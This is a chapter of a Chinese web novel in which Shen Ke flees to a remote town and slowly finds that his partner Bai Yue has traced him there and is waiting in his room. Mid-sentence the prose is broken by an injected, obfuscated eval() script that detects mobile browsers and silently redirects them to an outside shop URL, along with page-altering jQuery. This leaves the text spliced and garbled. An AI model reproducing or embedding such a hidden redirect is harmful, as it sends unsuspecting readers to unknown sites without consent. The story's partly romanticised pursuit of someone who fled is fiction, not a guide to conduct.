沈恪坐在民宿院子里的矮凳上，帮大娘们剥豇豆。大娘姓宋，嗓门大，笑起来整条街都听得见，人都叫她宋婶。
临近除夕，灶房里热气腾腾，几个婶婶围坐在院子里的矮桌旁，手里忙活着，嘴上也没闲着，语速很快，带着浓重的地方口音。
“我家那个最近叛逆得很，天天跟我顶嘴，说两句就摔门，气死我了。”
“上初中了就这样，过两年就好了。你看看老李头那个娃，就是当初没教好，现在直接进去嘞！”
“哎哟你可别吓我……”
“愁死我了，你说这当妈的，什么时候是个头。”
话题从孩子扯到老公，又从老公扯回孩子，絮絮叨叨的，像檐下的麻雀，叽叽喳喳停不下来。
沈恪没插嘴，低头继续剥豇豆，指尖掐着豆筋，一扯，细细的线从豆荚边缘滑下来，拉得很长。
聊着聊着，几个婶婶的目光忽然落在他身上。
“小沈，你初中那会儿是不是也这样啊？”
几个婶婶齐刷刷看过来，沈恪的手一顿，有些慌乱地摆了摆：“我……那个，我没有……”
婶婶们看着他拘谨的模样，哈哈大笑起来：“我就说呢，小沈看着那么乖。”
沈恪红了脸，声音越来越小：“不是的，因为我没上过初中。我以前生病，身子不好，没怎么出过门……”
院子里的笑声歇了一瞬。
没人说话。豇豆落在竹筐里的声音，忽然变得很响。
过了几秒，一个婶婶拍了拍大腿：“哎，最近有个好帅的小伙噢，出门买个菜，老能看到他。”
“你说的是不是那个高高的小伙子？哎呀确实，看着就老实，长得还好看。”
“宋婶你家那个姑娘不是刚毕业嘛，你去问问。”
“我家那个姑娘她不喜欢男生啊，问了也不顶用。”
话题拐了弯，轻飘飘地落到别处去了。没有人追问，没有人露出那种让人难堪的同情。
沈恪听着，笑意恬淡地挂在嘴角，手里的豇豆一根一根折完，丢进筐里，没出声。
他来这个小镇一周了。
那天从医院出来，坐上祈愿的车，天还没亮。他让祈愿帮他买了张去边陲的大巴票，用祈愿的身份证，怕白越查到他。
大巴晃了六个小时，又转了一趟公交，又蹭了一辆大爷的三轮车，颠簸了半个多小时，最后才到了这个藏在山坳里的边陲小镇，这里偏僻得连邮政快递都要多走两天。
镇子很小，小到只有一条像样的石板路。两边的房子都是老式的，青瓦灰墙，墙根长着青苔。镇上几乎全是中老年人，年轻人大概都出去打工了，街上八点以后就没什么人了。唯一的咖啡店每天下午四点半就关门，招牌上的字褪了色，也没人换。
当沈恪顶着一头染过的金发出现在这里时，第一天就被全镇的人记住了。
一开始他有点不自在。后来发现大家只是多看两眼，没人追着他问“你从哪里来”“你为什么一个人”，大家都默契地只叫他“小沈”。大娘给他留了间靠窗的房间，说“小沈你住这儿，安静”。
偶尔跟大爷去河边学钓鱼，一坐就是一下午，鱼没钓到几条，人倒是晒黑了一点。偶尔和婶婶们凑在一起打年糕，抡着木槌砸下去，砸得胳膊酸，第二天抬不起来。
晚上躺在床上，听着窗外的风声，什么都不用想，很快就睡着了。
他在这里住了一周，日子慢得像晒在院子里的萝卜干，水分一点一点被太阳收走，轻飘飘的，什么重量都没有。
白越每天给他发消息。
早安。午安。晚安。准时准点，像定好的闹钟。
偶尔会发一张照片，是他之前养在白越家的那盆多肉。叶片饱满了一点，颜色也深了，看起来被照顾得很好。白越没有多说什么，只发一张照片，连配文都没有。
沈恪看着那些消息，不知道该回什么。
他有时候会想，白越现在在做什么。腿上的伤好了吗？一个人在家，吃饭了吗？
打了几个字又删掉，最后什么都没回。
他不知道该说什么，甚至不知道自己到底想不想被白越找到。
“小沈？”
“啊？”沈恪猛地回神，“在的。”
宋婶笑得揶揄，眼睛弯成两道缝：“小沈你单身吗？”
等一下，刚才不是还在聊孩子吗？怎么突然跳到这了？
沈恪支吾着摇了摇头，耳尖慢慢红了：“我……我有对象的。只是最近闹了点矛盾……”
宋婶露出了相当可惜的表情：“本来还想着，给小沈你介绍个姑娘，你要能留在这就好了。”
“人不都说了在跟对象闹矛盾吗，你还说这个。”另一个婶婶打断她，转过头来，“小沈你别听她的嗷，我们这地儿没发展的。”
“你和你对象是发生什么事了啊？跟娘娘们说说，我们都见多识广的。”
“你别看你宋婶这样，年轻时老多人追了……”
婶婶们又笑了起来，笑声爽朗，在院子里荡开。
沈恪窘迫得耳根发烫，把手里的筐子往桌上一放，说了句“我去吃饭了”，便匆匆忙忙跑开了。
***
他去了这几天常吃的那家小餐馆。
小餐馆在镇子东头，沈恪这几天常去。老板姓陈，话不多，炒菜时喜欢哼歌，颠勺的动作利落得像练过功夫。沈恪每次去都点同一道菜，老板看他来了就笑：“又来光顾我生意了啊。”
沈恪笑着点头：“好吃！爱吃！”
菜端上来，热气腾腾。沈恪夹了一筷子放进嘴里，嚼了两下，忽然愣住了。
味道不对。
甜口的，微微回甘，重油重盐的几乎没有。咸口的菜里加了一点点糖，提鲜，但不腻，刚好能尝出来。
这个味道他太熟悉了。白越做菜就喜欢这样，因为他爱吃。
沈恪握着筷子，手指慢慢收紧。
他放下筷子，抬头看向老板：“老板，这个菜……换厨师了？”
老板正在擦桌子，闻言抬起头：“没有啊，还是我炒的。”
“那味道怎么变了？”
老板语气随意：“哦，有人教了我个新方子，最近还挺受欢迎的。”
“什么人？”
“一个年轻人，高高瘦瘦的，皮肤很白。每天天刚亮就来，站灶台边看我炒菜，一句话不说。”老板回忆着，“来了好几天，最后一天给了我一张纸，上面写着菜谱，说试试这个，也许会大赚。”
老板说着，又问沈恪是不是不喜欢这个口味。
沈恪摇了摇头，勉强扯出一个笑：“挺喜欢的。很好吃。”
他把饭菜吃完了，一粒米都没剩。
走出餐馆，他靠在墙上，掏出手机，拨了祈愿的号码：“祈愿，白越有来问你吗？”
“没有啊。咋了？”电话那头有些嘈杂，“你那位置都偏成鬼地方了，不会还是给他找到了吧？”
沈恪没回答，挂了电话。
他来这里的时候，除了贴身衣物，一件白越给的东西都没带。手环留在了祈愿车上，手机定位也关了，行踪没告诉任何人，甚至刻意绕了远路，就是不想被找到。
这里这么偏，连监控都覆盖不全，白越应该不会那么快找到这里。
应该只是个巧合。
他在镇上逛了一下午。石板路不长，从东头走到西头不过二十分钟。他走得慢，沿路问了几个店家。
咖啡店的老板娘正在擦杯子，看见他就笑了：“小沈来啦？今天喝什么？”
“老板娘，”沈恪犹豫了一下，“前几天是不是有人来问过我？”
老板娘手里的动作停了停，看了他一眼：“你怎么知道的？”
“他长什么样？”
“高高的，皮肤很白，说话轻声细语的。”老板娘回忆着，“问我镇上有没有一个金发的小孩来住过，我说有啊，这不就是小沈你嘛。他就笑了笑，说谢谢，转身走了。”
“走之前买了一杯美式，没喝，放在桌上，一直没人来拿，我就倒掉了。”
沈恪站在咖啡店门口，心脏被什么东西轻轻揪了一下。
他走出咖啡店，沿着石板路慢慢走。经过河边时，钓鱼的大爷认出他来，朝他招手：“小沈！过来过来！”
他继续走。走到河边，钓鱼的大爷正在收竿。大爷看见他，笑着招手：“小沈！你那个朋友钓鱼可厉害了！”
“朋友？”
“就前几天，有个小伙子借我鱼竿，说想钓鱼。”大爷比划着，“长得高高的，话不多，钓鱼技术老厉害了。钓了一筐，最后也没要，全留给我了，说是租金。”
大爷笑得合不拢嘴：“我现在还没吃完呢！”
沈恪站在原地，不知道该说什么。
他站在河边，看着水面上的夕阳碎成一片一片的金色，风从山那边吹过来，吹得他眼睛发涩。
回到民宿，前台的小姑娘正在刷手机，看见他抬起头：“小沈你回来啦？”
沈恪嗯了一声，犹豫了一下，还是问了：“这几天有人来找过我吗？”
小姑娘想了想：“没有吧？倒有个年轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458541|198096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人来问过有没有空房，我说没有，他就走了。走的时候在门口的椅子上坐了一会儿，什么也没做，就那么坐着。”
“大娘问他等谁，他说没等谁。”
“后来呢？”
“后来又来问了一次，还是说没有。第三次来的时候，没问，就站在院子外面看了一眼，然后走了。”
沈恪站在原地，忽然觉得这个镇子太小了。
小到藏不住一个人，小到两个人怎么都绕不开。
他忽然想，白越是不是故意的？故意留下痕迹，好让他一步一步发现。
可如果他不想被找到，为什么要去问咖啡店的老板娘？为什么要教餐馆老板做菜？为什么不直接敲门？
他想起白越在民宿门口坐了一会儿，什么也没做，就那么坐着。
他在等什么？
等沈恪自己发现。
沈恪低下头，看着自己的手。手腕上空空荡荡，手环已经摘了，但那个位置还在发烫。
他来这里，本来是想攒一点勇气的。攒够了，就回去见白越。
可白越没给他攒的机会。
咖啡店、餐馆、鱼竿、民宿，几乎每一条痕迹都在说：我来过，我在等你发现。
他根本不需要自己攒勇气。他只是想让自己知道，已经跑不掉了。
如果白越只是一个坏人就好了，他可以恨他、躲他、忘了他。可他不是一个单纯的坏人，也不是一个单纯的好人。他是白越。
而沈恪发现自己连“白越是谁”都开始不确定了。
那股熟悉的喘不过气的感觉又来了。他掏出手机，打给祈愿。
“帮我买一张明天的大巴票。”
“又要跑？”祈愿的声音有点沉。
“……嗯。”
“去哪？”
“随便。越远越好。”
祈愿沉默了几秒，说了一句“行”，挂了电话。
沈恪把手机塞进口袋，往楼上走。脚步很快，踩得木楼梯嘎吱嘎吱响。
白越帮不了他，白越就是问题本身。
他只能靠着自己走出来，自己把自己拼回去，然后决定要不要回去见他。
可现在他还没有拼完，他还不想那么快见到白越。
他走到房门口，手搭在门把手上。
下意识地看了一眼门缝——
漆黑一片。
沈恪松了口气。
他推门进去。
房间里很黑。他伸手摸到开关，按了一下。灯没亮。又按了一下，还是没亮。
他以为是灯泡坏了，摸黑往前走了一步，脚尖碰到什么东西。硬的，塑料的，有轮子，被他的脚一踢，发出声响。
是行李箱。
他的心跳猛地漏了一拍。
有人在里面。
他站在黑暗里，不敢动，也不敢呼吸。
然后他听见一个声音。很轻，像是怕吓到他：
“灯没坏。我关了电源。”
是白越。
沈恪的手又开始抖了。
啪的一声，房间的灯亮了。
白越坐在沙发边，手还搭在开关上。沈恪开门的时候他听见了，把灯关了。
沈恪没动，白越也没动。
两个人就那样隔着半个房间的距离，在刺眼的白光里看着对方。
白越抬起头，看着他，眼睛弯了弯，脚边放着打包好了的行李箱。
“我已经按你的习惯整理好了。”他的声音很轻，“不要着急。要不要先睡一觉？”
沈恪的脑子里忽然空了。像被人按下了暂停键，所有的念头都停在上一秒，还没来得及跟上。
然后他后退了一步。
又后退一步。
背抵着走廊的墙。
转身就跑。
跑得太急，连着跨了三级台阶，一不小心摔倒，跌在了地上。动静太大，住在同一个院子的大娘都哎了一声。
膝盖磕在木地板上，疼得他龇了龇牙。他撑着地想站起来，腿软了一下，没撑住。
白越快步走了出来。蹲下，揉了揉他撞到的膝盖。
碰到的时候，沈恪缩了一下。
白越的动作顿了一顿，但没有收回手。
“疼吗？”
沈恪看着他。
白越又凑近了一些。声音很低，很轻，像是怕惊动什么。
“明天就是除夕了。”
他顿了顿。
“先在这里把跨年夜过了再走吧。”
“好吗？”
沈恪的脑子一片空白。